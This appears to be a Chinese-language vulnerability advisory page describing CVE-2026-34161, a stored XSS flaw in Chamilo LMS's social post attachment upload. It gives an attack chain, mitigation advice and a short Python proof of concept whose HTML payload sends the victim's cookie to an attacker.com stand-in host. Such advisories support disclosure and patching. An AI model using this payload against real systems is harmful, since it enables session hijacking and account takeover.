IPBUF安全漏洞报告
English
CVE-2026-34161 CVSS 5.4 中危

CVE-2026-34161 Chamilo LMS存储型XSS漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-34161
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Chamilo LMS

相关标签

XSSChamilo LMS存储型跨站脚本文件上传会话劫持

漏洞概述

Chamilo LMS在2.0.0-RC.3版本之前存在存储型XSS漏洞。攻击者可利用社交帖子附件上传功能上传包含恶意JavaScript的HTML文件。由于服务器未对该文件进行有效清理且未强制下载,当受害者访问生成的链接时,恶意脚本将在浏览器中原地执行,导致会话劫持、账户接管或权限提升。

技术细节

该漏洞源于Chamilo LMS的/api/social_post_attachments接口在处理社交帖子附件上传时缺乏有效的安全过滤。经过身份认证的攻击者可以上传包含恶意JavaScript代码的HTML文件。服务器在存储文件并通过生成的contentUrl提供服务时,未对文件内容进行清理,未设置Content-Disposition: attachment头部强制下载,也未进行严格的Content-Type限制。当受害者(尤其是管理员)点击或访问该链接时,浏览器将在应用的可信源上下文中解析HTML并执行恶意脚本。攻击者利用此漏洞可进行会话劫持、账户接管及权限提升。

攻击链分析

STEP 1
步骤1
攻击者注册并登录Chamilo LMS系统,获取合法的用户会话。
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的HTML文件,通过/api/social_post_attachments接口上传该文件。
STEP 3
步骤3
系统接收并存储文件,返回一个可直接访问的URL(contentUrl),且未设置强制下载的响应头。
STEP 4
步骤4
攻击者诱导管理员或其他受害者点击该链接。
STEP 5
步骤5
受害者的浏览器在访问链接时解析HTML文件,并在应用上下文中执行恶意脚本,导致Cookie泄露或权限被接管。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-chamilo.com/api/social_post_attachments" # Malicious HTML payload with JavaScript html_payload = "<html><body><script>alert('CVE-2026-34161 XSS');document.location='http://attacker.com/?c='+document.cookie;</script></body></html>" # Simulated authentication session session = requests.Session() # session.post("http://target-chamilo.com/login", data={...}) # Upload the malicious file files = {'file': ('exploit.html', html_payload, 'text/html')} response = session.post(target_url, files=files) if response.status_code == 200: print("[+] Payload uploaded successfully.") # Extract contentUrl from response if necessary # print("[+] Access the generated link to trigger XSS.") else: print("[-] Upload failed.")

影响范围

Chamilo LMS < 2.0.0-RC.3

防御指南

临时缓解措施
建议立即将Chamilo LMS升级至2.0.0-RC.3或更高版本以修复此漏洞。若暂时无法升级,应限制普通用户的文件上传权限,或在Web应用防火墙(WAF)中配置规则,拦截对上传HTML文件的直接访问请求,强制浏览器以附件形式下载文件,从而防止脚本在浏览器中执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表